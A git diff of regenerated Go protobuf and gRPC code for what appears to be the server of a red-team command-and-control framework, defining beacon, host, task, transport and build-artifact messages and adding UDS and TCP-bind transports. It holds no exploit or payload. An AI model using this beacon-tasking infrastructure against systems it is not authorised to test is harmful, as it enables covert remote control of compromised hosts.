&file_builder_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -403,20 +390,17 @@ func (x *BuildTaskSpec) GetSetupScript() string { } type ClaimBuildTasksResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Tasks []*BuildTaskSpec `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` unknownFields protoimpl.UnknownFields - - Tasks []*BuildTaskSpec `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ClaimBuildTasksResponse) Reset() { *x = ClaimBuildTasksResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ClaimBuildTasksResponse) String() string { @@ -427,7 +411,7 @@ func (*ClaimBuildTasksResponse) ProtoMessage() {} func (x *ClaimBuildTasksResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -450,24 +434,21 @@ func (x *ClaimBuildTasksResponse) GetTasks() []*BuildTaskSpec { } type StreamBuildTaskOutputRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + Error string `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` + Finished bool `protobuf:"varint,4,opt,name=finished,proto3" json:"finished,omitempty"` + ExitCode int64 `protobuf:"varint,5,opt,name=exit_code,json=exitCode,proto3" json:"exit_code,omitempty"` unknownFields protoimpl.UnknownFields - - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` - Error string `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` - Finished bool `protobuf:"varint,4,opt,name=finished,proto3" json:"finished,omitempty"` - ExitCode int64 `protobuf:"varint,5,opt,name=exit_code,json=exitCode,proto3" json:"exit_code,omitempty"` + sizeCache protoimpl.SizeCache } func (x *StreamBuildTaskOutputRequest) Reset() { *x = StreamBuildTaskOutputRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *StreamBuildTaskOutputRequest) String() string { @@ -478,7 +459,7 @@ func (*StreamBuildTaskOutputRequest) ProtoMessage() {} func (x *StreamBuildTaskOutputRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -529,18 +510,16 @@ func (x *StreamBuildTaskOutputRequest) GetExitCode() int64 { } type StreamBuildTaskOutputResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *StreamBuildTaskOutputResponse) Reset() { *x = StreamBuildTaskOutputResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[7] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *StreamBuildTaskOutputResponse) String() string { @@ -551,7 +530,7 @@ func (*StreamBuildTaskOutputResponse) ProtoMessage() {} func (x *StreamBuildTaskOutputResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[7] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -567,22 +546,19 @@ func (*StreamBuildTaskOutputResponse) Descriptor() ([]byte, []int) { } type UploadBuildArtifactRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + ArtifactName string `protobuf:"bytes,2,opt,name=artifact_name,json=artifactName,proto3" json:"artifact_name,omitempty"` + Chunk []byte `protobuf:"bytes,3,opt,name=chunk,proto3" json:"chunk,omitempty"` unknownFields protoimpl.UnknownFields - - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - ArtifactName string `protobuf:"bytes,2,opt,name=artifact_name,json=artifactName,proto3" json:"artifact_name,omitempty"` - Chunk []byte `protobuf:"bytes,3,opt,name=chunk,proto3" json:"chunk,omitempty"` + sizeCache protoimpl.SizeCache } func (x *UploadBuildArtifactRequest) Reset() { *x = UploadBuildArtifactRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[8] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *UploadBuildArtifactRequest) String() string { @@ -593,7 +569,7 @@ func (*UploadBuildArtifactRequest) ProtoMessage() {} func (x *UploadBuildArtifactRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[8] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -630,20 +606,17 @@ func (x *UploadBuildArtifactRequest) GetChunk() []byte { } type UploadBuildArtifactResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + AssetId int64 `protobuf:"varint,1,opt,name=asset_id,json=assetId,proto3" json:"asset_id,omitempty"` unknownFields protoimpl.UnknownFields - - AssetId int64 `protobuf:"varint,1,opt,name=asset_id,json=assetId,proto3" json:"asset_id,omitempty"` + sizeCache protoimpl.SizeCache } func (x *UploadBuildArtifactResponse) Reset() { *x = UploadBuildArtifactResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[9] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *UploadBuildArtifactResponse) String() string { @@ -654,7 +627,7 @@ func (*UploadBuildArtifactResponse) ProtoMessage() {} func (x *UploadBuildArtifactResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[9] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -678,7 +651,7 @@ func (x *UploadBuildArtifactResponse) GetAssetId() int64 { var File_builder_proto protoreflect.FileDescriptor -var file_builder_proto_rawDesc = []byte{ +var file_builder_proto_rawDesc = string([]byte{ 0x0a, 0x0d, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x07, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x22, 0x42, 0x0a, 0x04, 0x54, 0x6f, 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, @@ -781,23 +754,23 @@ var file_builder_proto_rawDesc = []byte{ 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x2f, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} +}) var ( file_builder_proto_rawDescOnce sync.Once - file_builder_proto_rawDescData = file_builder_proto_rawDesc + file_builder_proto_rawDescData []byte ) func file_builder_proto_rawDescGZIP() []byte { file_builder_proto_rawDescOnce.Do(func() { - file_builder_proto_rawDescData = protoimpl.X.CompressGZIP(file_builder_proto_rawDescData) + file_builder_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_builder_proto_rawDesc), len(file_builder_proto_rawDesc))) }) return file_builder_proto_rawDescData } var file_builder_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_builder_proto_msgTypes = make([]protoimpl.MessageInfo, 10) -var file_builder_proto_goTypes = []interface{}{ +var file_builder_proto_goTypes = []any{ (TargetFormat)(0), // 0: builder.TargetFormat (*Tome)(nil), // 1: builder.Tome (*DownloadTomeRequest)(nil), // 2: builder.DownloadTomeRequest @@ -833,133 +806,11 @@ func file_builder_proto_init() { if File_builder_proto != nil { return } - if !protoimpl.UnsafeEnabled { - file_builder_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Tome); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DownloadTomeRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DownloadTomeResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClaimBuildTasksRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BuildTaskSpec); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ClaimBuildTasksResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StreamBuildTaskOutputRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StreamBuildTaskOutputResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UploadBuildArtifactRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_builder_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UploadBuildArtifactResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_builder_proto_rawDesc, + RawDescriptor: unsafe.Slice(unsafe.StringData(file_builder_proto_rawDesc), len(file_builder_proto_rawDesc)), NumEnums: 1, NumMessages: 10, NumExtensions: 0, @@ -971,7 +822,6 @@ func file_builder_proto_init() { MessageInfos: file_builder_proto_msgTypes, }.Build() File_builder_proto = out.File - file_builder_proto_rawDesc = nil file_builder_proto_goTypes = nil file_builder_proto_depIdxs = nil } diff --git a/tavern/internal/builder/builderpb/builder_grpc.pb.go b/tavern/internal/builder/builderpb/builder_grpc.pb.go index 7ed2ccb71..795053e8f 100644 --- a/tavern/internal/builder/builderpb/builder_grpc.pb.go +++ b/tavern/internal/builder/builderpb/builder_grpc.pb.go @@ -1,4 +1,8 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. +// versions: +// - protoc-gen-go-grpc v1.3.0 +// - protoc v3.21.12 +// source: builder.proto package builderpb @@ -11,7 +15,15 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -const _ = grpc.SupportPackageIsVersion7 +// Requires gRPC-Go v1.62.0 or later. +const _ = grpc.SupportPackageIsVersion8 + +const ( + Builder_ClaimBuildTasks_FullMethodName = "/builder.Builder/ClaimBuildTasks" + Builder_StreamBuildTaskOutput_FullMethodName = "/builder.Builder/StreamBuildTaskOutput" + Builder_UploadBuildArtifact_FullMethodName = "/builder.Builder/UploadBuildArtifact" + Builder_DownloadTome_FullMethodName = "/builder.Builder/DownloadTome" +) // BuilderClient is the client API for Builder service. // @@ -32,8 +44,9 @@ func NewBuilderClient(cc grpc.ClientConnInterface) BuilderClient { } func (c *builderClient) ClaimBuildTasks(ctx context.Context, in *ClaimBuildTasksRequest, opts ...grpc.CallOption) (*ClaimBuildTasksResponse, error) { + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) out := new(ClaimBuildTasksResponse) - err := c.cc.Invoke(ctx, "/builder.Builder/ClaimBuildTasks", in, out, opts...) + err := c.cc.Invoke(ctx, Builder_ClaimBuildTasks_FullMethodName, in, out, cOpts...) if err != nil { return nil, err } @@ -41,11 +54,12 @@ func (c *builderClient) ClaimBuildTasks(ctx context.Context, in *ClaimBuildTasks } func (c *builderClient) StreamBuildTaskOutput(ctx context.Context, opts ...grpc.CallOption) (Builder_StreamBuildTaskOutputClient, error) { - stream, err := c.cc.NewStream(ctx, &_Builder_serviceDesc.Streams[0], "/builder.Builder/StreamBuildTaskOutput", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &Builder_ServiceDesc.Streams[0], Builder_StreamBuildTaskOutput_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &builderStreamBuildTaskOutputClient{stream} + x := &builderStreamBuildTaskOutputClient{ClientStream: stream} return x, nil } @@ -75,11 +89,12 @@ func (x *builderStreamBuildTaskOutputClient) CloseAndRecv() (*StreamBuildTaskOut } func (c *builderClient) UploadBuildArtifact(ctx context.Context, opts ...grpc.CallOption) (Builder_UploadBuildArtifactClient, error) { - stream, err := c.cc.NewStream(ctx, &_Builder_serviceDesc.Streams[1], "/builder.Builder/UploadBuildArtifact", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &Builder_ServiceDesc.Streams[1], Builder_UploadBuildArtifact_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &builderUploadBuildArtifactClient{stream} + x := &builderUploadBuildArtifactClient{ClientStream: stream} return x, nil } @@ -109,11 +124,12 @@ func (x *builderUploadBuildArtifactClient) CloseAndRecv() (*UploadBuildArtifactR } func (c *builderClient) DownloadTome(ctx context.Context, in *DownloadTomeRequest, opts ...grpc.CallOption) (Builder_DownloadTomeClient, error) { - stream, err := c.cc.NewStream(ctx, &_Builder_serviceDesc.Streams[2], "/builder.Builder/DownloadTome", opts...) + cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) + stream, err := c.cc.NewStream(ctx, &Builder_ServiceDesc.Streams[2], Builder_DownloadTome_FullMethodName, cOpts...) if err != nil { return nil, err } - x := &builderDownloadTomeClient{stream} + x := &builderDownloadTomeClient{ClientStream: stream} if err := x.ClientStream.SendMsg(in); err != nil { return nil, err } @@ -176,8 +192,8 @@ type UnsafeBuilderServer interface { mustEmbedUnimplementedBuilderServer() } -func RegisterBuilderServer(s *grpc.Server, srv BuilderServer) { - s.RegisterService(&_Builder_serviceDesc, srv) +func RegisterBuilderServer(s grpc.ServiceRegistrar, srv BuilderServer) { + s.RegisterService(&Builder_ServiceDesc, srv) } func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { @@ -190,7 +206,7 @@ func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/builder.Builder/ClaimBuildTasks", + FullMethod: Builder_ClaimBuildTasks_FullMethodName, } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(BuilderServer).ClaimBuildTasks(ctx, req.(*ClaimBuildTasksRequest)) @@ -199,7 +215,7 @@ func _Builder_ClaimBuildTasks_Handler(srv interface{}, ctx context.Context, dec } func _Builder_StreamBuildTaskOutput_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(BuilderServer).StreamBuildTaskOutput(&builderStreamBuildTaskOutputServer{stream}) + return srv.(BuilderServer).StreamBuildTaskOutput(&builderStreamBuildTaskOutputServer{ServerStream: stream}) } type Builder_StreamBuildTaskOutputServer interface { @@ -225,7 +241,7 @@ func (x *builderStreamBuildTaskOutputServer) Recv() (*StreamBuildTaskOutputReque } func _Builder_UploadBuildArtifact_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(BuilderServer).UploadBuildArtifact(&builderUploadBuildArtifactServer{stream}) + return srv.(BuilderServer).UploadBuildArtifact(&builderUploadBuildArtifactServer{ServerStream: stream}) } type Builder_UploadBuildArtifactServer interface { @@ -255,7 +271,7 @@ func _Builder_DownloadTome_Handler(srv interface{}, stream grpc.ServerStream) er if err := stream.RecvMsg(m); err != nil { return err } - return srv.(BuilderServer).DownloadTome(m, &builderDownloadTomeServer{stream}) + return srv.(BuilderServer).DownloadTome(m, &builderDownloadTomeServer{ServerStream: stream}) } type Builder_DownloadTomeServer interface { @@ -271,7 +287,10 @@ func (x *builderDownloadTomeServer) Send(m *DownloadTomeResponse) error { return x.ServerStream.SendMsg(m) } -var _Builder_serviceDesc = grpc.ServiceDesc{ +// Builder_ServiceDesc is the grpc.ServiceDesc for Builder service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var Builder_ServiceDesc = grpc.ServiceDesc{ ServiceName: "builder.Builder", HandlerType: (*BuilderServer)(nil), Methods: []grpc.MethodDesc{ diff --git a/tavern/internal/c2/c2pb/c2.pb.go b/tavern/internal/c2/c2pb/c2.pb.go index 3563d2ba7..8cebf0576 100644 --- a/tavern/internal/c2/c2pb/c2.pb.go +++ b/tavern/internal/c2/c2pb/c2.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: c2.proto @@ -14,6 +14,7 @@ import ( portalpb "realm.pub/tavern/portals/portalpb" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -128,6 +129,8 @@ const ( Transport_TRANSPORT_GRPC Transport_Type = 1 Transport_TRANSPORT_HTTP1 Transport_Type = 2 Transport_TRANSPORT_DNS Transport_Type = 3 + Transport_TRANSPORT_UDS Transport_Type = 4 + Transport_TRANSPORT_TCP_BIND Transport_Type = 5 ) // Enum value maps for Transport_Type. @@ -137,12 +140,16 @@ var ( 1: "TRANSPORT_GRPC", 2: "TRANSPORT_HTTP1", 3: "TRANSPORT_DNS", + 4: "TRANSPORT_UDS", + 5: "TRANSPORT_TCP_BIND", } Transport_Type_value = map[string]int32{ "TRANSPORT_UNSPECIFIED": 0, "TRANSPORT_GRPC": 1, "TRANSPORT_HTTP1": 2, "TRANSPORT_DNS": 3, + "TRANSPORT_UDS": 4, + "TRANSPORT_TCP_BIND": 5, } ) @@ -230,20 +237,17 @@ func (Host_Platform) EnumDescriptor() ([]byte, []int) { // Agent information to identify the type of beacon. type Agent struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` unknownFields protoimpl.UnknownFields - - Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Agent) Reset() { *x = Agent{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Agent) String() string { @@ -254,7 +258,7 @@ func (*Agent) ProtoMessage() {} func (x *Agent) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -277,24 +281,21 @@ func (x *Agent) GetIdentifier() string { } type Transport struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Uri string `protobuf:"bytes,1,opt,name=uri,proto3" json:"uri,omitempty"` + Interval uint64 `protobuf:"varint,2,opt,name=interval,proto3" json:"interval,omitempty"` + Type Transport_Type `protobuf:"varint,3,opt,name=type,proto3,enum=c2.Transport_Type" json:"type,omitempty"` + Extra string `protobuf:"bytes,4,opt,name=extra,proto3" json:"extra,omitempty"` + Jitter float32 `protobuf:"fixed32,5,opt,name=jitter,proto3" json:"jitter,omitempty"` unknownFields protoimpl.UnknownFields - - Uri string `protobuf:"bytes,1,opt,name=uri,proto3" json:"uri,omitempty"` - Interval uint64 `protobuf:"varint,2,opt,name=interval,proto3" json:"interval,omitempty"` - Type Transport_Type `protobuf:"varint,3,opt,name=type,proto3,enum=c2.Transport_Type" json:"type,omitempty"` - Extra string `protobuf:"bytes,4,opt,name=extra,proto3" json:"extra,omitempty"` - Jitter float32 `protobuf:"fixed32,5,opt,name=jitter,proto3" json:"jitter,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Transport) Reset() { *x = Transport{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Transport) String() string { @@ -305,7 +306,7 @@ func (*Transport) ProtoMessage() {} func (x *Transport) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -356,21 +357,18 @@ func (x *Transport) GetJitter() float32 { } type AvailableTransports struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Transports []*Transport `protobuf:"bytes,1,rep,name=transports,proto3" json:"transports,omitempty"` + ActiveIndex uint32 `protobuf:"varint,2,opt,name=active_index,json=activeIndex,proto3" json:"active_index,omitempty"` unknownFields protoimpl.UnknownFields - - Transports []*Transport `protobuf:"bytes,1,rep,name=transports,proto3" json:"transports,omitempty"` - ActiveIndex uint32 `protobuf:"varint,2,opt,name=active_index,json=activeIndex,proto3" json:"active_index,omitempty"` + sizeCache protoimpl.SizeCache } func (x *AvailableTransports) Reset() { *x = AvailableTransports{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *AvailableTransports) String() string { @@ -381,7 +379,7 @@ func (*AvailableTransports) ProtoMessage() {} func (x *AvailableTransports) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -412,24 +410,21 @@ func (x *AvailableTransports) GetActiveIndex() uint32 { // Beacon information that is unique to the current running beacon. type Beacon struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` - Principal string `protobuf:"bytes,2,opt,name=principal,proto3" json:"principal,omitempty"` - Host *Host `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"` - Agent *Agent `protobuf:"bytes,4,opt,name=agent,proto3" json:"agent,omitempty"` - AvailableTransports *AvailableTransports `protobuf:"bytes,5,opt,name=available_transports,json=availableTransports,proto3" json:"available_transports,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` + Principal string `protobuf:"bytes,2,opt,name=principal,proto3" json:"principal,omitempty"` + Host *Host `protobuf:"bytes,3,opt,name=host,proto3" json:"host,omitempty"` + Agent *Agent `protobuf:"bytes,4,opt,name=agent,proto3" json:"agent,omitempty"` + AvailableTransports *AvailableTransports `protobuf:"bytes,5,opt,name=available_transports,json=availableTransports,proto3" json:"available_transports,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *Beacon) Reset() { *x = Beacon{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Beacon) String() string { @@ -440,7 +435,7 @@ func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -492,23 +487,20 @@ func (x *Beacon) GetAvailableTransports() *AvailableTransports { // Host information for the system a beacon is running on. type Host struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + Platform Host_Platform `protobuf:"varint,3,opt,name=platform,proto3,enum=c2.Host_Platform" json:"platform,omitempty"` + PrimaryIp string `protobuf:"bytes,4,opt,name=primary_ip,json=primaryIp,proto3" json:"primary_ip,omitempty"` unknownFields protoimpl.UnknownFields - - Identifier string `protobuf:"bytes,1,opt,name=identifier,proto3" json:"identifier,omitempty"` - Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` - Platform Host_Platform `protobuf:"varint,3,opt,name=platform,proto3,enum=c2.Host_Platform" json:"platform,omitempty"` - PrimaryIp string `protobuf:"bytes,4,opt,name=primary_ip,json=primaryIp,proto3" json:"primary_ip,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Host) Reset() { *x = Host{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Host) String() string { @@ -519,7 +511,7 @@ func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -564,23 +556,20 @@ func (x *Host) GetPrimaryIp() string { // Task instructions for the beacon to execute. type Task struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Tome *epb.Tome `protobuf:"bytes,2,opt,name=tome,proto3" json:"tome,omitempty"` + QuestName string `protobuf:"bytes,3,opt,name=quest_name,json=questName,proto3" 